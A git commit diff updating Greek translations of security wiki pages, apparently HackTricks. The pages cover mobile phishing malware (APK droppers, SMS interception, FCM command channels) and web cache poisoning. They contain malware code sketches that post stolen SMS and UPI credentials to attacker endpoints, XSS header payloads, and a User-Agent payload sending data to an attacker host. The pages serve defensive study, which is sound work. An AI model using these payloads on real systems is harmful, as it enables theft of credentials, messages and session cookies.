Translated ['src/macos-hardening/macos-red-teaming/macos-mdm/README.md',

This commit is contained in:
Translator 2025-08-22 00:16:32 +00:00
parent 41689da5f1
commit d49082a84c
4 changed files with 225 additions and 109 deletions

View File

@ -3,17 +3,17 @@
{{#include ../../banners/hacktricks-training.md}}
> [!INFO]
> Αυτή η σελίδα καλύπτει τεχνικές που χρησιμοποιούν οι απειλητικοί παράγοντες για να διανείμουν **κακόβουλα Android APKs** και **προφίλ κινητής διαμόρφωσης iOS** μέσω phishing (SEO, κοινωνική μηχανική, ψεύτικα καταστήματα, εφαρμογές γνωριμιών, κ.λπ.).
> Αυτή η σελίδα καλύπτει τεχνικές που χρησιμοποιούν οι απειλητικοί παράγοντες για να διανείμουν **κακόβουλα Android APKs** και **προφίλ κινητής διαμόρφωσης iOS** μέσω phishing (SEO, κοινωνική μηχανική, ψεύτικα καταστήματα, εφαρμογές γνωριμιών κ.λπ.).
> Το υλικό έχει προσαρμοστεί από την καμπάνια SarangTrap που αποκαλύφθηκε από την Zimperium zLabs (2025) και άλλες δημόσιες έρευνες.
## Attack Flow
1. **SEO/Phishing Infrastructure**
* Καταχωρήστε δεκάδες τομείς που μοιάζουν (γνωριμίες, κοινή χρήση cloud, υπηρεσία αυτοκινήτων…).
Χρησιμοποιήστε λέξεις-κλειδιά και emoji στη το `<title>` για να καταταγείτε στο Google.
* Καταχωρήστε δεκάδες τομείς που μοιάζουν (γνωριμίες, cloud share, υπηρεσία αυτοκινήτου…).
Χρησιμοποιήστε τοπικές λέξεις-κλειδιά και emojis στο στοιχείο `<title>` για να κατατάξετε στο Google.
Φιλοξενήστε *και τις δύο* οδηγίες εγκατάστασης Android (`.apk`) και iOS στην ίδια σελίδα προορισμού.
2. **First Stage Download**
* Android: άμεσος σύνδεσμος σε ένα *unsigned* ή “κατάστημα τρίτου μέρους” APK.
* Android: άμεσος σύνδεσμος σε ένα *unsigned* ή “third-party store” APK.
* iOS: `itms-services://` ή απλός σύνδεσμος HTTPS σε ένα κακόβουλο **mobileconfig** προφίλ (βλ. παρακάτω).
3. **Post-install Social Engineering**
* Στην πρώτη εκτέλεση, η εφαρμογή ζητά έναν **κωδικό πρόσκλησης / επαλήθευσης** (ψευδαίσθηση αποκλειστικής πρόσβασης).
@ -30,7 +30,7 @@
```
* Οι πρόσφατες παραλλαγές **αφαιρούν το `<uses-permission>` για SMS από το `AndroidManifest.xml`** αλλά αφήνουν τη διαδρομή κώδικα Java/Kotlin που διαβάζει SMS μέσω reflection ⇒ μειώνει τη στατική βαθμολογία ενώ παραμένει λειτουργική σε συσκευές που παρέχουν την άδεια μέσω κακής χρήσης `AppOps` ή παλαιών στόχων.
5. **Facade UI & Background Collection**
* Η εφαρμογή εμφανίζει αβλαβείς προβολές (θεατής SMS, επιλογέας γκαλερί) που υλοποιούνται τοπικά.
* Η εφαρμογή εμφανίζει αβλαβείς προβολές (SMS viewer, gallery picker) που έχουν υλοποιηθεί τοπικά.
* Εν τω μεταξύ, εξάγει:
- IMEI / IMSI, αριθμό τηλεφώνου
- Πλήρη εξαγωγή `ContactsContract` (JSON array)
@ -42,7 +42,7 @@
* Οδηγίες κοινωνικής μηχανικής:
1. Ανοίξτε τις Ρυθμίσεις ➜ *Προφίλ κατεβασμένο*.
2. Πατήστε *Εγκατάσταση* τρεις φορές (σκορπιές στην σελίδα phishing).
3. Εμπιστευτείτε το unsigned προφίλ ➜ ο επιτιθέμενος αποκτά *Επαφές* & *Δικαιώματα Φωτογραφιών* χωρίς έλεγχο από το App Store.
3. Εμπιστευτείτε το unsigned προφίλ ➜ ο επιτιθέμενος αποκτά *Contacts* & *Photo* δικαιώματα χωρίς έλεγχο από το App Store.
7. **Network Layer**
* Απλό HTTP, συχνά στη θύρα 80 με HOST header όπως `api.<phishingdomain>.com`.
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (χωρίς TLS → εύκολο να εντοπιστεί).
@ -50,7 +50,7 @@
## Defensive Testing / Red-Team Tips
* **Dynamic Analysis Bypass** Κατά την αξιολόγηση κακόβουλου λογισμικού, αυτοματοποιήστε τη φάση κωδικού πρόσκλησης με Frida/Objection για να φτάσετε στον κακόβουλο κλάδο.
* **Manifest vs. Runtime Diff** Συγκρίνετε `aapt dump permissions` με runtime `PackageManager#getRequestedPermissions()`; η απουσία επικίνδυνων αδειών είναι κόκκινη σημαία.
* **Manifest vs. Runtime Diff** Συγκρίνετε `aapt dump permissions` με runtime `PackageManager#getRequestedPermissions()`; η έλλειψη επικίνδυνων αδειών είναι κόκκινη σημαία.
* **Network Canary** Ρυθμίστε `iptables -p tcp --dport 80 -j NFQUEUE` για να ανιχνεύσετε μη σταθερές εκρήξεις POST μετά την είσοδο κωδικού.
* **mobileconfig Inspection** Χρησιμοποιήστε `security cms -D -i profile.mobileconfig` σε macOS για να καταγράψετε το `PayloadContent` και να εντοπίσετε υπερβολικά δικαιώματα.
@ -58,8 +58,8 @@
* **Certificate Transparency / DNS Analytics** για να πιάσετε ξαφνικές εκρήξεις τομέων πλούσιων σε λέξεις-κλειδιά.
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` από πελάτες Dalvik εκτός Google Play.
* **Invite-code Telemetry** POST 68 ψηφίων αριθμητικών κωδικών λίγο μετά την εγκατάσταση APK μπορεί να υποδηλώνει προετοιμασία.
* **MobileConfig Signing** Εμποδίστε τα unsigned προφίλ διαμόρφωσης μέσω πολιτικής MDM.
* **Invite-code Telemetry** POST 68 ψηφιακών κωδικών λίγο μετά την εγκατάσταση APK μπορεί να υποδηλώνει προετοιμασία.
* **MobileConfig Signing** Αποκλείστε unsigned προφίλ διαμόρφωσης μέσω πολιτικής MDM.
## Useful Frida Snippet: Auto-Bypass Invitation Code
```python
@ -86,9 +86,127 @@ return conn;
/upload.php # batched ZIP exfiltration
LubanCompress 1.1.8 # "Luban" string inside classes.dex
```
## Αναφορές
---
## Android WebView Payment Phishing (UPI) Dropper + FCM C2 Pattern
Αυτό το μοτίβο έχει παρατηρηθεί σε καμπάνιες που εκμεταλλεύονται θέματα κυβερνητικών επιδομάτων για να κλέψουν διαπιστευτήρια UPI και OTP από την Ινδία. Οι χειριστές συνδυάζουν αξιόπιστες πλατφόρμες για παράδοση και ανθεκτικότητα.
### Delivery chain across trusted platforms
- YouTube video lure → description contains a short link
- Shortlink → GitHub Pages phishing site imitating the legit portal
- Same GitHub repo hosts an APK with a fake “Google Play” badge linking directly to the file
- Dynamic phishing pages live on Replit; remote command channel uses Firebase Cloud Messaging (FCM)
### Dropper with embedded payload and offline install
- First APK is an installer (dropper) that ships the real malware at `assets/app.apk` and prompts the user to disable WiFi/mobile data to blunt cloud detection.
- The embedded payload installs under an innocuous label (e.g., “Secure Update”). After install, both the installer and the payload are present as separate apps.
Static triage tip (grep for embedded payloads):
```bash
unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
```
### Ανακάλυψη δυναμικών σημείων μέσω συντομευμένων συνδέσμων
- Το κακόβουλο λογισμικό ανακτά μια λίστα ζωντανών σημείων σε απλό κείμενο, διαχωρισμένη με κόμματα από έναν συντομευμένο σύνδεσμο; απλές μετατροπές συμβολοσειρών παράγουν τη τελική διαδρομή της σελίδας phishing.
Παράδειγμα (καθαρισμένο):
```
GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
Transform: "gate.html" → "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload: https://sqcepo.replit.app/addsm.php
```
Ψευδοκώδικας:
```java
String csv = httpGet(shortlink);
String[] parts = csv.split(",");
String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
```
### WebView-based UPI credential harvesting
- Το βήμα “Κάντε πληρωμή ₹1 / UPILite” φορτώνει μια HTML φόρμα του επιτιθέμενου από το δυναμικό endpoint μέσα σε ένα WebView και καταγράφει ευαίσθητα πεδία (τηλέφωνο, τράπεζα, UPI PIN) τα οποία `POST`άρονται στο `addup.php`.
Minimal loader:
```java
WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
```
### Αυτο-διάδοση και παρεμβολή SMS/OTP
- Ζητούνται επιθετικές άδειες κατά την πρώτη εκτέλεση:
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
```
- Οι επαφές συνδέονται για μαζική αποστολή smishing SMS από τη συσκευή του θύματος.
- Τα εισερχόμενα SMS παγιδεύονται από έναν δέκτη εκπομπής και ανεβαίνουν με μεταδεδομένα (αποστολέας, περιεχόμενο, θύρα SIM, τυχαίο ID ανά συσκευή) στο `/addsm.php`.
Σχέδιο δέκτη:
```java
public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
for (SmsMessage m: msgs){
postForm(urlAddSms, new FormBody.Builder()
.add("senderNum", m.getOriginatingAddress())
.add("Message", m.getMessageBody())
.add("Slot", String.valueOf(getSimSlot(i)))
.add("Device rand", getOrMakeDeviceRand(c))
.build());
}
}
```
### Firebase Cloud Messaging (FCM) ως ανθεκτικό C2
- Το payload εγγράφεται στο FCM; τα μηνύματα push περιέχουν ένα πεδίο `_type` που χρησιμοποιείται ως διακόπτης για την ενεργοποίηση ενεργειών (π.χ., ενημέρωση προτύπων κειμένου phishing, εναλλαγή συμπεριφορών).
Παράδειγμα payload FCM:
```json
{
"to": "<device_fcm_token>",
"data": {
"_type": "update_texts",
"template": "New subsidy message..."
}
}
```
Σχέδιο χειριστή:
```java
@Override
public void onMessageReceived(RemoteMessage msg){
String t = msg.getData().get("_type");
switch (t){
case "update_texts": applyTemplate(msg.getData().get("template")); break;
case "smish": sendSmishToContacts(); break;
// ... more remote actions
}
}
```
### Hunting patterns and IOCs
- Το APK περιέχει δευτερεύον φορτίο στο `assets/app.apk`
- Το WebView φορτώνει πληρωμή από το `gate.htm` και εξάγει σε `/addup.php`
- Εξαγωγή SMS σε `/addsm.php`
- Fetch ρυθμίσεων μέσω συντομεύσεων (π.χ., `rebrand.ly/*`) που επιστρέφουν CSV endpoints
- Εφαρμογές που χαρακτηρίζονται ως γενικές “Ενημέρωση/Ασφαλής Ενημέρωση”
- FCM `data` μηνύματα με διακριτικό `_type` σε μη αξιόπιστες εφαρμογές
### Detection & defence ideas
- Σημειώστε εφαρμογές που δίνουν οδηγίες στους χρήστες να απενεργοποιήσουν το δίκτυο κατά την εγκατάσταση και στη συνέχεια να φορτώσουν μια δεύτερη APK από το `assets/`.
- Ειδοποιήστε για το tuple δικαιωμάτων: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + ροές πληρωμών βασισμένες σε WebView.
- Παρακολούθηση εξόδου για `POST /addup.php|/addsm.php` σε μη εταιρικούς διακομιστές; αποκλείστε γνωστή υποδομή.
- Κανόνες Mobile EDR: μη αξιόπιστη εφαρμογή που εγγράφεται για FCM και διακλαδίζεται σε πεδίο `_type`.
---
## References
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
- [Luban Android image compression library](https://github.com/Curzibn/Luban)
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
{{#include ../../banners/hacktricks-training.md}}

File diff suppressed because one or more lines are too long

View File

@ -16,7 +16,7 @@
Η εκτέλεση μιας επίθεσης δηλητηρίασης της μνήμης cache περιλαμβάνει αρκετά βήματα:
1. **Ταυτοποίηση Μη Κλειδωμένων Εισόδων**: Αυτές είναι παράμετροι που, αν και δεν απαιτούνται για να αποθηκευτεί ένα αίτημα στη μνήμη cache, μπορούν να αλλάξουν την απάντηση που επιστρέφει ο διακομιστής. Η ταυτοποίηση αυτών των εισόδων είναι κρίσιμη καθώς μπορούν να εκμεταλλευτούν για να χειραγωγήσουν τη μνήμη cache.
2. **Εκμετάλλευση των Μη Κλειδωμένων Εισόδων**: Αφού ταυτοποιηθούν οι μη κλειδωμένες είσοδοι, το επόμενο βήμα περιλαμβάνει την εύρεση τρόπου κακής χρήσης αυτών των παραμέτρων για να τροποποιηθεί η απάντηση του διακομιστή με τρόπο που να ωφελεί τον επιτιθέμενο.
2. **Εκμετάλλευση των Μη Κλειδωμένων Εισόδων**: Αφού ταυτοποιηθούν οι μη κλειδωμένες είσοδοι, το επόμενο βήμα περιλαμβάνει την ανακάλυψη του τρόπου κακής χρήσης αυτών των παραμέτρων για να τροποποιηθεί η απάντηση του διακομιστή με τρόπο που να ωφελεί τον επιτιθέμενο.
3. **Διασφάλιση ότι η Μολυσμένη Απάντηση είναι Αποθηκευμένη**: Το τελικό βήμα είναι να διασφαλιστεί ότι η χειραγωγημένη απάντηση αποθηκεύεται στη μνήμη cache. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης έχει πρόσβαση στη μολυσμένη σελίδα ενώ η μνήμη cache είναι δηλητηριασμένη θα λάβει την μολυσμένη απάντηση.
### Discovery: Check HTTP headers
@ -56,14 +56,14 @@ cache-poisoning-to-dos.md
Μια ακόμη κεφαλίδα σχετική με την κρυφή μνήμη είναι η **`Age`**. Ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο έχει παραμείνει στην κρυφή μνήμη του διακομιστή μεσολάβησης.
Όταν αποθηκεύετε ένα αίτημα στην κρυφή μνήμη, να είστε **προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε** γιατί μερικές από αυτές μπορεί να χρησιμοποιηθούν **απροσδόκητα** ως **κλειδωμένες** και το **θύμα θα χρειαστεί να χρησιμοποιήσει αυτή την ίδια κεφαλίδα**. Πάντα **δοκιμάστε** μια δηλητηρίαση κρυφής μνήμης με **διαφορετικούς περιηγητές** για να ελέγξετε αν λειτουργεί.
Όταν αποθηκεύετε ένα αίτημα στην κρυφή μνήμη, να είστε **προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε** γιατί μερικές από αυτές μπορεί να **χρησιμοποιηθούν απροσδόκητα** ως **κλειδωμένες** και το **θύμα θα χρειαστεί να χρησιμοποιήσει αυτή την ίδια κεφαλίδα**. Πάντα **δοκιμάστε** μια δηλητηρίαση κρυφής μνήμης με **διαφορετικούς περιηγητές** για να ελέγξετε αν λειτουργεί.
## Παραδείγματα Εκμετάλλευσης
### Ευκολότερο παράδειγμα
Μια κεφαλίδα όπως το `X-Forwarded-For` αντικατοπτρίζεται στην απάντηση χωρίς καθαρισμό.\
Μπορείτε να στείλετε ένα βασικό payload XSS και να δηλητηριάσετε την κρυφή μνήμη έτσι ώστε όλοι όσοι έχουν πρόσβαση στη σελίδα να υποστούν XSS:
Μπορείτε να στείλετε ένα βασικό payload XSS και να δηλητηριάσετε την κρυφή μνήμη ώστε όλοι όσοι έχουν πρόσβαση στη σελίδα να υποστούν XSS:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
@ -81,13 +81,13 @@ cache-poisoning-to-dos.md
Στο **[αυτό το writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** εξηγείται το εξής απλό σενάριο:
- Ο CDN θα αποθηκεύσει οτιδήποτε κάτω από `/share/`
- Ο CDN θα αποθηκεύσει οτιδήποτε βρίσκεται κάτω από `/share/`
- Ο CDN ΔΕΝ θα αποκωδικοποιήσει ούτε θα κανονικοποιήσει το `%2F..%2F`, επομένως, μπορεί να χρησιμοποιηθεί ως **path traversal για πρόσβαση σε άλλες ευαίσθητες τοποθεσίες που θα αποθηκευτούν** όπως `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Ο web server ΘΑ αποκωδικοποιήσει και θα κανονικοποιήσει το `%2F..%2F`, και θα απαντήσει με `/api/auth/session`, το οποίο **περιέχει το auth token**.
### Χρήση δηλητηρίασης web cache για εκμετάλλευση ευπαθειών διαχείρισης cookies
Τα cookies θα μπορούσαν επίσης να ανακλώνται στην απάντηση μιας σελίδας. Εάν μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε XSS, για παράδειγμα, θα μπορούσατε να είστε σε θέση να εκμεταλλευτείτε XSS σε αρκετούς πελάτες που φορτώνουν την κακόβουλη απάντηση cache.
Τα cookies θα μπορούσαν επίσης να ανακλώνται στην απάντηση μιας σελίδας. Αν μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε XSS, για παράδειγμα, θα μπορούσατε να είστε σε θέση να εκμεταλλευτείτε XSS σε αρκετούς πελάτες που φορτώνουν την κακόβουλη απάντηση cache.
```html
GET / HTTP/1.1
Host: vulnerable.com
@ -115,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md
### Χρήση πολλαπλών κεφαλίδων για εκμετάλλευση ευπαθειών δηλητηρίασης cache <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Μερικές φορές θα χρειαστεί να **εκμεταλλευτείτε αρκετές μη κλειδωμένες εισόδους** για να μπορέσετε να κακοποιήσετε μια cache. Για παράδειγμα, μπορεί να βρείτε μια **Ανοιχτή ανακατεύθυνση** αν ορίσετε το `X-Forwarded-Host` σε ένα τομέα που ελέγχετε και το `X-Forwarded-Scheme` σε `http`. **Αν** ο **server** **προωθεί** όλα τα **HTTP** αιτήματα **σε HTTPS** και χρησιμοποιεί την κεφαλίδα `X-Forwarded-Scheme` ως το όνομα τομέα για την ανακατεύθυνση. Μπορείτε να ελέγξετε πού δείχνει η σελίδα μέσω της ανακατεύθυνσης.
Μερικές φορές θα χρειαστεί να **εκμεταλλευτείτε αρκετές μη κλειδωμένες εισόδους** για να μπορέσετε να καταχραστείτε μια cache. Για παράδειγμα, μπορεί να βρείτε μια **Ανοιχτή ανακατεύθυνση** αν ορίσετε το `X-Forwarded-Host` σε ένα domain που ελέγχετε και το `X-Forwarded-Scheme` σε `http`. **Αν** ο **server** **προωθεί** όλα τα **HTTP** αιτήματα **σε HTTPS** και χρησιμοποιεί την κεφαλίδα `X-Forwarded-Scheme` ως το όνομα του domain για την ανακατεύθυνση. Μπορείτε να ελέγξετε πού δείχνει η σελίδα μέσω της ανακατεύθυνσης.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -133,7 +133,7 @@ X-Host: attacker.com
```
### Fat Get
Στείλτε ένα αίτημα GET με το αίτημα στο URL και στο σώμα. Αν ο διακομιστής ιστού χρησιμοποιεί αυτό από το σώμα αλλά ο διακομιστής cache αποθηκεύει αυτό από το URL, οποιοσδήποτε έχει πρόσβαση σε αυτό το URL θα χρησιμοποιήσει στην πραγματικότητα την παράμετρο από το σώμα. Όπως η ευπάθεια που βρήκε ο James Kettle στον ιστότοπο του Github:
Στείλτε ένα GET αίτημα με το αίτημα στο URL και στο σώμα. Αν ο web server χρησιμοποιεί αυτό από το σώμα αλλά ο cache server αποθηκεύει αυτό από το URL, οποιοσδήποτε έχει πρόσβαση σε αυτό το URL θα χρησιμοποιήσει στην πραγματικότητα την παράμετρο από το σώμα. Όπως η ευπάθεια που βρήκε ο James Kettle στον ιστότοπο του Github:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -146,7 +146,7 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web
### Parameter Cloacking
Για παράδειγμα, είναι δυνατόν να διαχωρίσετε **παραμέτρους** σε διακομιστές ruby χρησιμοποιώντας τον χαρακτήρα **`;`** αντί για **`&`**. Αυτό θα μπορούσε να χρησιμοποιηθεί για να τοποθετήσετε τις τιμές παραμέτρων χωρίς κλειδί μέσα σε παραμέτρους με κλειδί και να τις εκμεταλλευτείτε.
Για παράδειγμα, είναι δυνατόν να διαχωρίσετε **παραμέτρους** σε διακομιστές ruby χρησιμοποιώντας τον χαρακτήρα **`;`** αντί για **`&`**. Αυτό θα μπορούσε να χρησιμοποιηθεί για να τοποθετήσετε τις τιμές παραμέτρων χωρίς κλειδί μέσα σε αυτές με κλειδί και να τις εκμεταλλευτείτε.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
@ -162,16 +162,16 @@ Example usage: `wcvs -u example.com`
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Αυτό το πραγματικό μοτίβο αλυσίδων μια βασισμένη σε header primitive reflection με τη συμπεριφορά CDN/WAF για να δηλητηριάσει αξιόπιστα το cached HTML που σερβίρεται σε άλλους χρήστες:
Αυτό το πραγματικό μοτίβο αλυσίδωει μια βασισμένη σε κεφαλίδα ανακλαστική πρωτοβουλία με τη συμπεριφορά CDN/WAF για να δηλητηριάσει αξιόπιστα το cached HTML που σερβίρεται σε άλλους χρήστες:
- Το κύριο HTML αντανάκλασε μια μη αξιόπιστη κεφαλίδα αιτήματος (π.χ., `User-Agent`) σε εκτελέσιμο πλαίσιο.
- Ο CDN αφαίρεσε τις κεφαλίδες cache αλλά υπήρχε μια εσωτερική/προέλευσης cache. Ο CDN επίσης αυτο-καταχώρισε αιτήματα που τελείωναν σε στατικές επεκτάσεις (π.χ., `.js`), ενώ ο WAF εφαρμοζε ασθενέστερη επιθεώρηση περιεχομένου σε GETs για στατικά περιουσιακά στοιχεία.
- Οι ιδιορρυθμίες ροής αιτημάτων επέτρεψαν σε ένα αίτημα σε μια διαδρομή `.js` να επηρεάσει το κλειδί/παραλλαγή cache που χρησιμοποιήθηκε για το επόμενο κύριο HTML, επιτρέποντας cross-user XSS μέσω της αντανάκλασης κεφαλίδων.
- Οι ιδιορρυθμίες ροής αιτήσεων επέτρεψαν σε ένα αίτημα σε μια διαδρομή `.js` να επηρεάσει το κλειδί/παραλλαγή cache που χρησιμοποιήθηκε για το επόμενο κύριο HTML, επιτρέποντας cross-user XSS μέσω ανακλαστικής κεφαλίδας.
Practical recipe (observed across a popular CDN/WAF):
1) Από μια καθαρή IP (αποφύγετε τις προηγούμενες υποβαθμίσεις βάσει φήμης), ορίστε ένα κακόβουλο `User-Agent` μέσω του προγράμματος περιήγησης ή του Burp Proxy Match & Replace.
2) Στο Burp Repeater, ετοιμάστε μια ομάδα δύο αιτημάτων και χρησιμοποιήστε "Send group in parallel" (λειτουργία single-packet λειτουργεί καλύτερα):
2) Στο Burp Repeater, προετοιμάστε μια ομάδα δύο αιτημάτων και χρησιμοποιήστε "Send group in parallel" (λειτουργία single-packet λειτουργεί καλύτερα):
- Πρώτο αίτημα: GET μια διαδρομή πόρου `.js` στην ίδια προέλευση ενώ στέλνετε το κακόβουλο `User-Agent` σας.
- Άμεσα μετά: GET την κύρια σελίδα (`/`).
3) Ο αγώνας δρομολόγησης CDN/WAF συν το αυτο-καταχωρημένο `.js` συχνά σπέρνει μια δηλητηριασμένη παραλλαγή cached HTML που στη συνέχεια σερβίρεται σε άλλους επισκέπτες που μοιράζονται τις ίδιες συνθήκες κλειδιού cache (π.χ., ίδιες διαστάσεις `Vary` όπως `User-Agent`).
@ -182,13 +182,13 @@ User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oas
```
Operational tips:
- Πολλές CDNs κρύβουν τις κεφαλίδες cache; η δηλητηρίαση μπορεί να εμφανιστεί μόνο σε κύκλους ανανέωσης πολλών ωρών. Χρησιμοποιήστε πολλαπλές IPs και περιορίστε την ταχύτητα για να αποφύγετε τα triggers περιορισμού ρυθμού ή φήμης.
- Πολλές CDNs κρύβουν τις κεφαλίδες cache; η δηλητηρίαση μπορεί να εμφανιστεί μόνο σε κύκλους ανανέωσης πολλών ωρών. Χρησιμοποιήστε πολλαπλές IP vantage και περιορίστε την ταχύτητα για να αποφύγετε τα triggers περιορισμού ρυθμού ή φήμης.
- Η χρήση μιας IP από το δικό cloud της CDN μερικές φορές βελτιώνει τη συνέπεια δρομολόγησης.
- Εάν υπάρχει αυστηρό CSP, αυτό εξακολουθεί να λειτουργεί εάν η αντανάκλαση εκτελείται στο κύριο HTML πλαίσιο και το CSP επιτρέπει την εκτέλεση inline ή παρακάμπτεται από το πλαίσιο.
Impact:
- Εάν τα session cookies δεν είναι `HttpOnly`, είναι δυνατή η zero-click ATO μέσω μαζικής εξαγωγής `document.cookie` από όλους τους χρήστες που εξυπηρετούνται από το δηλητηριασμένο HTML.
- Εάν τα session cookies δεν είναι `HttpOnly`, είναι δυνατή η zero-click ATO με τη μαζική εξαγωγή του `document.cookie` από όλους τους χρήστες που εξυπηρετούνται από το δηλητηριασμένο HTML.
Defenses:
@ -200,19 +200,19 @@ Defenses:
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
Το ATS προώθησε το τμήμα μέσα στο URL χωρίς να το αφαιρέσει και δημιούργησε το κλειδί cache χρησιμοποιώντας μόνο τον host, τη διαδρομή και το query (αγνοώντας το τμήμα). Έτσι, το αίτημα `/#/../?r=javascript:alert(1)` στάλθηκε στο backend ως `/#/../?r=javascript:alert(1)` και το κλειδί cache δεν είχε το payload μέσα του, μόνο host, διαδρομή και query.
Το ATS προώθησε το τμήμα μέσα στη διεύθυνση URL χωρίς να το αφαιρέσει και δημιούργησε το κλειδί cache χρησιμοποιώντας μόνο τον host, τη διαδρομή και το query (αγνοώντας το τμήμα). Έτσι, το αίτημα `/#/../?r=javascript:alert(1)` στάλθηκε στο backend ως `/#/../?r=javascript:alert(1)` και το κλειδί cache δεν είχε το payload μέσα του, μόνο host, διαδρομή και query.
### GitHub CP-DoS
Η αποστολή μιας κακής τιμής στην κεφαλίδα content-type προκάλεσε μια 405 cached response. Το κλειδί cache περιείχε το cookie, οπότε ήταν δυνατό να επιτεθεί μόνο σε μη εξουσιοδοτημένους χρήστες.
Η αποστολή μιας κακής τιμής στην κεφαλίδα content-type προκάλεσε μια 405 cached απάντηση. Το κλειδί cache περιείχε το cookie, οπότε ήταν δυνατό να επιτεθεί μόνο σε μη εξουσιοδοτημένους χρήστες.
### GitLab + GCP CP-DoS
Το GitLab χρησιμοποιεί GCP buckets για να αποθηκεύει στατικό περιεχόμενο. **GCP Buckets** υποστηρίζουν την **κεφαλίδα `x-http-method-override`**. Έτσι, ήταν δυνατό να σταλεί η κεφαλίδα `x-http-method-override: HEAD` και να δηλητηριαστεί η cache ώστε να επιστρέφει ένα κενό σώμα απόκρισης. Θα μπορούσε επίσης να υποστηρίξει τη μέθοδο `PURGE`.
Το GitLab χρησιμοποιεί GCP buckets για να αποθηκεύει στατικό περιεχόμενο. **GCP Buckets** υποστηρίζουν την **κεφαλίδα `x-http-method-override`**. Έτσι, ήταν δυνατό να σταλεί η κεφαλίδα `x-http-method-override: HEAD` και να δηλητηριαστεί η cache ώστε να επιστρέφει ένα κενό σώμα απάντησης. Μπορούσε επίσης να υποστηρίξει τη μέθοδο `PURGE`.
### Rack Middleware (Ruby on Rails)
Σε εφαρμογές Ruby on Rails, συχνά χρησιμοποιείται το Rack middleware. Ο σκοπός του κώδικα Rack είναι να πάρει την τιμή της κεφαλίδας **`x-forwarded-scheme`** και να την ορίσει ως το σχήμα του αιτήματος. Όταν σταλεί η κεφαλίδα `x-forwarded-scheme: http`, συμβαίνει μια 301 ανακατεύθυνση στην ίδια τοποθεσία, προκαλώντας πιθανώς μια Άρνηση Υπηρεσίας (DoS) σε αυτόν τον πόρο. Επιπλέον, η εφαρμογή μπορεί να αναγνωρίσει την κεφαλίδα `X-forwarded-host` και να ανακατευθύνει τους χρήστες στον καθορισμένο host. Αυτή η συμπεριφορά μπορεί να οδηγήσει στη φόρτωση αρχείων JavaScript από τον διακομιστή ενός επιτιθέμενου, θέτοντας σε κίνδυνο την ασφάλεια.
Σε εφαρμογές Ruby on Rails, συχνά χρησιμοποιείται το Rack middleware. Ο σκοπός του κώδικα Rack είναι να πάρει την τιμή της κεφαλίδας **`x-forwarded-scheme`** και να την ορίσει ως το σχήμα του αιτήματος. Όταν σταλεί η κεφαλίδα `x-forwarded-scheme: http`, συμβαίνει μια 301 ανακατεύθυνση στην ίδια τοποθεσία, προκαλώντας ενδεχομένως μια Άρνηση Υπηρεσίας (DoS) σε αυτόν τον πόρο. Επιπλέον, η εφαρμογή μπορεί να αναγνωρίσει την κεφαλίδα `X-forwarded-host` και να ανακατευθύνει τους χρήστες στον καθορισμένο host. Αυτή η συμπεριφορά μπορεί να οδηγήσει στη φόρτωση αρχείων JavaScript από τον διακομιστή ενός επιτιθέμενου, θέτοντας σε κίνδυνο την ασφάλεια.
### 403 and Storage Buckets
@ -220,15 +220,15 @@ Defenses:
### Injecting Keyed Parameters
